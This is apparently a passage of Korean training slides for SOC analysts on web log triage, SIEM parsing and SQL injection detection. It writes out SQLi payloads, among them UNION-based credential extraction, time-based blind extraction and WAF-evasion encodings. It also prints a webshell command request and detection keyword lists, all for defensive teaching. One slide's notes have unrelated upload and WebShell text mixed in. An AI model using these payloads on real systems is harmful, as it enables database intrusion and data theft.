`$request_time`	Time-based SQLi 탐지. SLEEP(5) 성공 시 5초 이상 기록.
`$upstream_status`	App 서버의 실제 응답 코드. WAF가 200으로 감쌌어도 내부 500 확인 가능.
`$http_x_forwarded_for`	실제 원본 IP. LB 뒤에서는 필수.
`$request_id`	요청 고유 ID. 여러 로그 소스에서 동일 요청 추적 시 사용.
`$ssl_protocol`	TLS 버전 확인. 구형 TLS 1.0/1.1 사용 여부.

현장에서 자주 발생하는 문제: 로그에 XFF, request_time, upstream_status가 없어서 분석에 한계가 생기는 경우. SOC는 인프라팀에 최소 권장 로그 필드를 요청하는 역할도 해야 합니다.

보강 설명 환경마다 로그 형식이 다르므로 항상 로그 설정을 먼저 확인해야 한다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

로그 정규화와 SIEM 파싱 — 분석 전 준비 단계

잘 파싱된 로그가 좋은 분석의 절반이다

PART 3 · 웹 로그 구조

📥 SIEM 파싱 핵심 단계

1

필드 추출: Grok/Regex로 IP, timestamp, method, URI, status, bytes, UA 분리

2

URL 디코딩: raw_uri → decoded_uri로 변환. %27 → ', %3C → <

3

타임존 통일: 모든 로그를 UTC로 변환. 서버/로그 타임존 혼합 주의!

4

IP 보강: GeoIP 조회 → 국가/AS/reputation 추가

5

XFF 처리: X-Forwarded-For에서 신뢰 체인 파싱 → 원본 IP 추출

⚠️ 흔한 파싱 문제

타임존 불일치

서버 A는 KST(+09:00), 서버 B는 UTC로 로그 기록 → SIEM에서 9시간 차이 발생 → 상관분석 오류.

URL 인코딩 미처리

%27 OR 1=1이 디코딩 안 되면 SQLi 탐지 룰이 매칭 안 됨. raw_uri와 decoded_uri를 별도 필드로 유지.

긴 URI 잘림(truncation)

매우 긴 페이로드가 있을 때 로그가 잘려 중요 부분 누락. 로그 설정의 max URI length 확인.

# Grok 패턴 예시 (Logstash) %{IPORHOST:client_ip} %{USER:ident} %{USER:auth} \[%{HTTPDATE:timestamp}\] "%{WORD:method} %{URIPATHPARAM:uri} HTTP/%{NUMBER:httpversion}" %{NUMBER:status} (?:%{NUMBER:bytes}|-)

보강 설명 잘 파싱된 로그가 좋은 분석의 절반이다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

로그 Triage 기준 — 정상 / 의심 / 위험의 구분

모든 로그를 동등하게 볼 수 없다 — 빠른 분류 기준이 분석 효율을 결정한다

PART 3 · Triage

정상 (Normal)

알려진 정상 IP 범위에서 요청
User-Agent가 실제 브라우저 문자열
요청 간격이 자연스러운 사람 패턴
정적 리소스(.css, .js, .png) 요청
200/304 응답, 평균적인 응답 크기
공격 키워드 없는 정상 파라미터 값
알려진 봇(Google, Bing) crawling

의심 (Suspicious)

알 수 없는 외국 IP 또는 VPN/Proxy IP
알려진 스캐너 UA 또는 빈 UA
404가 10회 이상 연속 (엔드포인트 탐색)
민감 경로 접근 시도 (/admin, /.env)
파라미터에 특수문자 소량 포함
응답 크기가 평균보다 3배 이상 큼
새벽 시간대 집중적인 요청

위험 (High Risk)

sqlmap, nikto, Masscan 등 공격 도구 UA
SQL 키워드, XSS 태그, 경로 탐색 ../
내부망/메타데이터 URL (127.0.0.1, 169.254.x)
WebShell 파일명 패턴 (shell.php, cmd.php)
동일 IP에서 초당 10건 이상 반복
401/403 → 200 성공 전환
500 오류 후 곧바로 변형 페이로드 재시도

⚠️ 주의: 이 기준은 단독 시그널이 아닌 복합 판단입니다. 하나의 지표만 보지 말고 여러 필드를 함께 확인하세요. 특히 "의심"은 추가 확인 후 등급을 재조정해야 합니다.

보강 설명 모든 로그를 동등하게 볼 수 없다 — 빠른 분류 기준이 분석 효율을 결정한다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

로그 Triage 실습 — 각 줄의 위험도는?

판단 근거를 말로 설명할 수 있어야 Triage가 완성된다

PART 3 · Triage 실습

✅

14.56.198.3 - - [15/Mar/2026:10:15:33] "GET /products/phone.html HTTP/1.1" 200 4821 "https://example.com/" "Mozilla/5.0 Chrome/120 Safari/537.36"

판정: 정상 — 정상 브라우저 UA, 정적 HTML 페이지, 한국 IP, Referer 자연스러움, 응답 크기 정상

⚠️

185.220.101.47 - - [15/Mar/2026:03:12:04] "GET /wp-login.php HTTP/1.1" 404 231 "-" "Mozilla/5.0 (compatible)"

판정: 의심 — 새벽 시간대, 비정상 Referer (없음), WordPress 경로 직접 시도, 외국 IP, 공통 스캔 패턴

🚨

91.108.56.22 - - [15/Mar/2026:03:13:01] "GET /api/user?id=1%27+UNION+SELECT+1,2,version()--+ HTTP/1.1" 200 8442 "-" "sqlmap/1.7.8#stable"

판정: 위험 (즉각 대응) — sqlmap UA, SQLi 페이로드(UNION SELECT+version()), 200 성공 + 8KB 응답(정보 추출 추정), 하이픈 Referer

🚨

10.0.0.55 - admin [15/Mar/2026:14:22:10] "GET /uploads/a1b2c3d4.php?cmd=whoami HTTP/1.1" 200 18 "-" "curl/7.81.0"

판정: 위험 (사후 조사 최우선) — uploads/ 경로에 .php 실행, cmd=whoami (명령 실행), curl UA, 내부 IP (내부자 또는 이미 침투된 서버), 200 성공

❓

198.51.100.9 - - [15/Mar/2026:11:05:17] "POST /search HTTP/1.1" 200 342 "https://example.com/search" "python-requests/2.28.1"

판정: 의심 (추가 확인 필요) — python-requests UA (자동화 도구), 반복 여부 확인, POST Body 내용 확인 필요 (App Log 확보)

보강 설명 판단 근거를 말로 설명할 수 있어야 Triage가 완성된다 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

반복 패턴 분석 — 시간대·IP·엔드포인트 집계

단일 요청이 아니라 패턴과 시퀀스에서 공격 의도가 드러난다

PART 3 · 반복 패턴 분석

🔢 IP별 요청 집계 분석

# SIEM / CLI 집계 예시 cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10 # 결과 예시 8421 185.220.101.47 ← 비정상적으로 많음! 342 203.0.113.1 128 198.51.100.9 87 14.56.198.3

# 특정 IP의 요청 URI 집계 grep "185.220.101.47" access.log | awk '{print $7}' | sort | uniq -c # 결과 — 다양한 SQLi 변형 페이로드 시도 421 /api/user?id=1%27 398 /api/user?id=1+UNION+SELECT 377 /api/user?id=1+AND+SLEEP(5)

⏰ 시간대별 요청 분布 분석

# 시간대별 요청 수 (1분 단위) grep "185.220.101.47" access.log | awk '{print $4}' | cut -c14-18 | sort | uniq -c # 결과 — 정확히 1초 간격: 자동화 도구 시그널 421 03:41 ← 1분에 421건 = 초당 7건 398 03:42 412 03:43

자동화 공격 시그널 체크리스트

동일 IP에서 분당 100건 이상
정확히 동일한 요청 간격 (타이머 패턴)
파라미터 값이 순차적으로 변화 (id=1,2,3...)
다양한 페이로드 변형을 연속 시도

보강 설명 단일 요청이 아니라 패턴과 시퀀스에서 공격 의도가 드러난다 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

공격 흐름 타임라인 재구성

로그는 단순 나열이 아니라, 공격자의 의도와 연결된 사건 흐름으로 읽어야 한다

PART 3 · 타임라인 재구성

📋 사례: 2026-03-15 03:41~04:15 사이 공격 흐름

01

03:41 정찰 (Reconnaissance) — 185.220.101.47에서 404 대량 발생. /admin, /.env, /config.php 등 민감 경로 탐색. 엔드포인트 맵핑 중.

02

03:52 취약점 탐색 — /api/user?id=1'에서 500 오류 발생. SQLi 가능 엔드포인트 확인. 이후 AND 1=1, AND 1=2 비교 시도 (Boolean-based).

03

04:01 정보 추출 시도 — UNION SELECT version(), database(), user() 시도. 200 + 8.4KB 응답 — DB 버전/계정 정보 추출 성공 추정.

04

04:08 테이블 덤프 — UNION SELECT table_name FROM information_schema.tables. 200 + 42KB — DB 스키마 덤프 성공 추정.

05

04:15 사용자 데이터 추출 — UNION SELECT username, password FROM users. 200 + 156KB — 대규모 개인정보 유출 추정!

타임라인 재구성의 핵심

각 단계에서 공격자의 의도(왜)와 결과(무엇이 노출됐는가)를 함께 적어야 합니다. 시간·IP·URI·상태코드·응답크기를 연결한 스토리가 IR 팀에 전달하는 실제 보고서가 됩니다.

보강 설명 로그는 단순 나열이 아니라, 공격자의 의도와 연결된 사건 흐름으로 읽어야 한다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

PART 3 핵심 정리 — 로그 구조와 Triage

로그를 읽는 눈이 생겼다면, 이제 공격 유형별 패턴을 연결할 차례다

PART 3 · 핵심 정리

① 로그 형식

Combined Log Format: IP, timestamp, request, status, bytes, referer, UA. 환경마다 다를 수 있으므로 로그 설정 파일 먼저 확인.

② SIEM 파싱

필드 추출 + URL 디코딩 + 타임존 UTC 통일 + IP GeoIP 보강. raw_uri와 decoded_uri를 별도 필드로 유지.

③ Triage 기준

단일 시그널이 아닌 복합 판단. UA + IP + URI + 상태코드 + 응답 크기 + 반복 패턴을 함께 읽기.

④ 타임라인

단순 나열이 아닌 의도+결과를 연결하는 스토리. 정찰 → 취약점 탐색 → 추출 → 후속행위 흐름으로 읽기.

PART 3 핵심 메시지

좋은 분석가는 로그 한 줄이 아니라 로그 패턴과 흐름을 읽습니다. 반복·집계·타임라인이 분석의 깊이를 결정합니다.

다음 파트(PART 4~7): 실제 공격 유형 — SQL Injection, XSS, LFI/CMDi, Upload/WebShell/Auth/SSRF의 동작 원리, 로그 패턴, 탐지 방법, 오탐 구분을 상세히 다룹니다.

보강 설명 로그를 읽는 눈이 생겼다면, 이제 공격 유형별 패턴을 연결할 차례다 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

PART 4

SQL Injection
심화 분석

80분 슬라이드 36 – 54 쿼리 구조 → 로그 패턴 → 탐지 룰 → 사건 체인

OR 1=1 / UNION SELECT

SLEEP / Blind SQLi

sqlmap 흔적

탐지 룰 · 오탐 관리

보강 설명 SQLi의 핵심은 입력값이 데이터가 아니라 쿼리 구조 자체로 해석되는 순간이다. 키워드 암기보다 구조·반복성·응답 변화의 결합을 보는 것이 중요하다.

쿼리 구조UNION오탐 감축

대표 신호

OR 1=1, UNION SELECT, ORDER BY, information_schema 탐색
동일 파라미터에 조건·주석·인코딩을 바꿔가며 반복 시도
200/500/응답 크기 변화가 함께 나타나면 성공 가능성이 커짐

추가 확인

DB/App 에러 로그에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 컬럼 수 탐색→추출→후속 접근 흐름을 묶기
입력 위치가 검색창·정렬 파라미터·ID 조회인지 서비스 맥락으로 검증

실습 예시

decoded URI 기준으로 SQLi 키워드를 표준화해 보기
정상 검색어와 공격 payload의 차이를 구조 관점에서 설명하기
탐지 룰에서 파라미터 위치와 반복성을 어떻게 반영할지 써 보기

PART 4 · SQL Injection

SQL Injection은 입력이 데이터가 아니라 쿼리 구조를 건드리는 순간 시작된다

사용자 입력이 WHERE 조건, UNION 결과, 지연 함수 등 쿼리 문법으로 흘러들어가면 SQLi가 된다.

✏️

사용자 입력

name=John

→

⚠️

Unsafe Query 생성

문자열 연결 방식

→

💥

쿼리 구조 변형

SQL 문법 삽입

→

🗄️

DB 오동작

Read / Error / Delay

✅ 정상 — Prepared Statement

SELECT * FROM users
  WHERE id = ?
-- 입력값은 항상 '데이터'로만 처리

❌ 취약 — 문자열 연결

query = "SELECT * FROM users
  WHERE id = '" + user_input + "'"
-- 입력이 SQL 구조 일부가 됨!

공격자 목표 유형

🔓 인증 우회 — 로그인 없이 접근
📤 데이터 추출 — 계정·민감정보 조회
🔍 스키마 탐색 — 테이블·컬럼 구조 파악
⏱️ 시간 지연 — Blind SQLi로 정보 수집
💣 에러 유도 — 내부 정보 노출 유발

SOC 포인트
성공 여부와 무관하게 시도 흔적만으로도 탐지 가치가 높다. 로그에 남은 따옴표, OR, UNION, SLEEP, INFORMATION_SCHEMA를 놓치지 않는 것이 핵심.

보강 설명SQL Injection의 핵심은 사용자 입력이 데이터 역할에 머물지 않고 쿼리 문법 자체로 흘러들어가는 것입니다. 파라미터화(Prepared Statement)를 사용하지 않을 때 발생합니다.

파라미터화쿼리 구조 변형Prepared Statement

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · SQL Injection

입력값이 SQL 문장으로 섞이는 순간

문자열 연결 방식의 쿼리 생성은 입력을 명령과 구분하지 못하게 만든다.

① 정상 입력 → WHERE 값 역할


-- 앱이 만드는 쿼리:
SELECT * FROM users
  WHERE id = '123'

-- 결과: id가 123인 행만 반환 ✅

② 악성 입력 → 조건 구조 변형


-- 입력: ' OR '1'='1
SELECT * FROM users
  WHERE id = '' OR '1'='1'

-- 결과: 모든 행 반환 (전체 유저) ❌

③ UNION SELECT — 다른 테이블 추출


-- 컬럼 수 맞추기 후 추출 시도:
SELECT id,name FROM products
  WHERE id = '0' UNION SELECT
  username,password FROM users --'

-- products + users 데이터 혼합 반환

④ 시간 지연 — Blind SQLi


-- 응답에 데이터 없어도 시간으로 판단:
SELECT * FROM users
  WHERE id = '1' AND
  SLEEP(5) --'

-- 응답이 5초 지연 → 쿼리 도달 확인

학습 포인트 — 공격자는 쿼리 구조를 탐색 → 변형 → 추출 순서로 진행한다. 로그에서 이 흐름의 흔적을 하나씩 추적하는 것이 SOC 분석의 핵심이다.

보강 설명문자열 연결 방식의 쿼리 생성이 왜 위험한지 실제 쿼리 구조 변형 예시로 설명합니다. 학생에게 쿼리를 소리 내어 읽게 하면 구조 변화가 체감됩니다.

WHERE 조건tautologyUNION SELECT

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · SQLi 패턴

가장 전형적인 패턴: OR 1=1

조건식을 항상 참으로 만들어 인증 우회나 전체 결과 반환을 노리는 전형적 패턴이다.

📋 대표 payload 형태

기본형


id=1' OR '1'='1
username=admin'--
id=1' OR 1=1--
id=1') OR ('1'='1

우회/변형형 (WAF 회피)


%27%20OR%20%271%27=%271
id=1'/**/OR/**/'1'='1
id=1' oR '1'='1
id=1' OR 0x313d31--

우회 기법	예시	목적
URL 인코딩	%27 → '	WAF 문자 회피
SQL 주석	--, #, /**/	뒷 부분 무효화
대소문자	oR, Or, OR	대소문자 무관 SQL
공백 우회	/**/, %09, %0a	공백 필터 우회
HEX/CHAR	0x61, CHAR(39)	문자 치환

탐지 팁: raw URI와 decoded URI를 모두 수집해야 이런 우회 패턴을 잡을 수 있다. 정규화 전처리 없이는 탐지 미스 발생.

오탐 주의: 검색 기능에서 정상적으로 작은따옴표가 입력될 수 있다. 엔드포인트(로그인 폼? 검색창?), 반복성, 인코딩 여부를 함께 보고 판단해야 한다.

보강 설명 조건식을 항상 참으로 만들어 인증 우회나 전체 결과 반환을 노리는 전형적 패턴이다. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 4 · SQLi 패턴

UNION SELECT는 데이터 열을 이어 붙여 꺼내려는 시도다

UNION SELECT가 보이면 공격자가 단순 오류 유도가 아니라 실제 데이터 추출을 노린다고 볼 수 있다.

1️⃣

컬럼 수 탐색

ORDER BY 1,2,3...

→

2️⃣

타입 확인

UNION SELECT NULL,NULL

→

3️⃣

스키마 탐색

information_schema

→

4️⃣

데이터 추출

username, password

컬럼 수 맞추기 탐색


GET /item?id=1 ORDER BY 1    → 200
GET /item?id=1 ORDER BY 2    → 200
GET /item?id=1 ORDER BY 3    → 500 ← 컬럼 2개!

스키마 탐색 → 데이터 추출


UNION SELECT table_name,2
FROM information_schema.tables--
UNION SELECT username,password
FROM users--

스키마 탐색 키워드

• information_schema.tables
• information_schema.columns
• database(), version(), user()
• pg_catalog (PostgreSQL)
• sys.tables (MSSQL)

탐지 신호: 일련의 요청에서 500이 나다가 갑자기 200으로 바뀌면 컬럼 수나 타입을 맞춘 것일 수 있다. 상태코드 변화 패턴에 주목.

보강 설명UNION SELECT가 보이면 공격자가 단순 에러 유도가 아니라 실제 데이터 추출을 노린다는 신호입니다. UNION 전에 반드시 컬럼 수 맞추기 탐색이 선행됩니다.

UNION SELECTinformation_schema컬럼 개수

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · SQLi 탐색 패턴

ORDER BY, COLUMN COUNT, INFORMATION_SCHEMA 탐색

SQLi는 한 번에 성공하기보다 컬럼 수·타입·테이블 구조를 맞춰 가는 탐색 과정으로 보이는 경우가 많다.

🔍 실제 탐색 타임라인 (5분 안에 발생)


09:14:22  GET /search?q=shoes' ORDER BY 1--        200  1842
09:14:23  GET /search?q=shoes' ORDER BY 2--        200  1842
09:14:24  GET /search?q=shoes' ORDER BY 3--        200  1842
09:14:25  GET /search?q=shoes' ORDER BY 4-- 500  512   ← 컬럼 3개 확인!
09:14:26  GET /search?q=0' UNION SELECT NULL,NULL,NULL--  200  2105  ← 구조 맞춤
09:14:31  GET /search?q=0' UNION SELECT table_name,2,3 FROM information_schema.tables--  200  8934

1차 신호

ORDER BY N 반복
UNION SELECT NULL 반복
짧은 간격(< 1초)

2차 신호

information_schema 접근
table_name, column_name
database(), version()

3차 확증

실제 테이블명 포함 요청
응답 크기 급증
자동화 UA (sqlmap)

시간 창 분석: 같은 IP에서 1분 안에 10회 이상 같은 파라미터를 건드리면 자동화 공격 가능성이 높다. 탐지 룰에 count by ip, endpoint within 60s > 10 조건을 추가하라.

보강 설명SQLi는 한 번에 성공하기보다 탐색 과정을 여러 단계로 거칩니다. 짧은 시간 안에 ORDER BY 숫자가 증가하는 패턴은 자동화 도구의 전형적 흔적입니다.

ORDER BYUNION SELECT NULLinformation_schema

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · Blind SQLi

SLEEP(), BENCHMARK(), pg_sleep()는 시간 기반 탐색 신호다

응답 결과가 안 보여도 지연 함수를 이용해 참/거짓을 시간으로 읽는 blind SQLi가 가능하다.

DBMS별 시간 지연 함수

DBMS	함수	예시
MySQL	SLEEP(N)	SLEEP(5)
MySQL	BENCHMARK()	BENCHMARK(1e8,MD5(1))
PostgreSQL	pg_sleep(N)	pg_sleep(5)
MSSQL	WAITFOR DELAY	'0:0:5'
Oracle	dbms_pipe.receive_message	('a',5)

Boolean Blind 패턴 예시


-- 첫 글자가 'a'인지 시간으로 확인:
id=1' AND IF(
  SUBSTR(database(),1,1)='a',
  SLEEP(5),0)--

→ 응답 5초 지연 = 참 (DB명 첫글자='a')
→ 즉시 응답 = 거짓
-- 한 글자씩 반복 → 전체 DB명 파악

탐지 핵심: access.log에 %T(응답시간)이 있으면 같은 엔드포인트에서 5초 이상 응답 반복 시 알람. App 서버 전체 지연과 분리하여 특정 파라미터만 느린지 확인.

로그에서 SLEEP 탐지 예시


10:05:11 /api/user?id=1%27%20AND%20SLEEP%285%29--  200  512  4982ms  ← 비정상 지연!
10:05:18 /api/user?id=1%27%20AND%20SLEEP%285%29--  200  512  5001ms
10:05:24 /api/user?id=2%27%20AND%20SLEEP%285%29--  200  512  5012ms

보강 설명 응답 결과가 안 보여도 지연 함수를 이용해 참/거짓을 시간으로 읽는 blind SQLi가 가능하다. Blind SQLi는 화면에 데이터가 보이지 않아도 조건 분기와 시간 지연으로 정보를 읽어낸다. 응답시간 필드는 관제에서 매우 강한 단서가 된다.

Blind SQLiSLEEP응답시간

대표 신호

SLEEP(), BENCHMARK(), pg_sleep(), WAITFOR DELAY 같은 지연 함수
같은 엔드포인트에서 3~5초 단위 지연이 반복되는 패턴
조건만 바뀐 요청에 bytes는 유사하고 response_time만 달라지는 경우

추가 확인

서버 전체 지연인지 특정 파라미터 지연인지 분리해서 확인
같은 시간대의 다른 사용자 요청과 비교해 공통 장애를 배제
WAF 차단 이후 우회 변형이 이어졌는지 타임라인으로 확인

미니 실습

response_time이 있을 때 룰 임계값을 몇 초로 둘지 토론하기
blind SQLi와 단순 성능 저하를 구분하는 추가 로그를 적어 보기
조건 참/거짓에 따른 응답 차이를 문장으로 설명해 보기

PART 4 · 우회 기법

인코딩, 공백 우회, 주석 삽입을 함께 봐야 한다

공격자는 사람이 보기 좋은 SQLi를 보내지 않는다. 필터와 분석가 모두를 속이기 위해 문자열을 비틀어 보낸다.

원본 payload	우회 변형형	사용 기법	탐지 요건
`UNION SELECT`	`UNION/**/SELECT`	인라인 주석	주석 제거 후 매칭
`OR 1=1`	`oR%201%3D1`	URL 인코딩 + 대소문자	decode + lowercase
`SLEEP(5)`	`SLEEP%285%29`	URL 인코딩 괄호	decode 후 함수명 탐지
`SELECT`	`S%2545LECT`	이중 인코딩	double-decode 처리
`'`	`%EF%BC%87`	유니코드 변형 따옴표	Unicode normalization

정규화 실패 = 탐지 실패
raw URI만 저장하면 %27이 따옴표인지 모른다. SIEM 수집 파이프라인에서 raw + url-decoded + html-decoded를 모두 저장해야 한다.

WAF 설계 팁
좋은 WAF/탐지 룰은 정규화 파이프라인을 먼저 통과시킨 후 패턴을 매칭한다. 인코딩 변형을 고려하지 않은 단순 문자열 매칭은 쉽게 우회된다.

보강 설명공격자는 WAF와 분석가 모두를 속이기 위해 문자열을 여러 방법으로 비틉니다. raw URI와 decoded URI를 함께 저장하지 않으면 패턴 매칭 자체가 실패합니다.

URL 인코딩이중 인코딩주석 우회

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

PART 4 · 상태코드 해석

SQLi에서 200과 500은 모두 의미가 있다

성공했을 때만 중요한 것이 아니라, 실패·오류·우회 성공의 흔적까지 함께 읽어야 한다.

200

우회 성공 가능

정상 페이지 반환
차단 우회 성공
데이터 포함 응답
응답 크기 변화 확인

500

내부 도달 증거

쿼리 구조 오류
DB 에러 유발
예외 처리 도달
도달 ≠ 성공

403

차단 작동

WAF가 막음
앱 레벨 차단
이후 우회 시도 확인
끝이 아님

404

엔드포인트 탐색

존재 여부 확인
관리 경로 탐색
SQLi와 결합 시 의미
단독은 낮음

상태코드 변화 분석 예시


/login?id=admin'--              → 200  3210  ← 우회 성공?
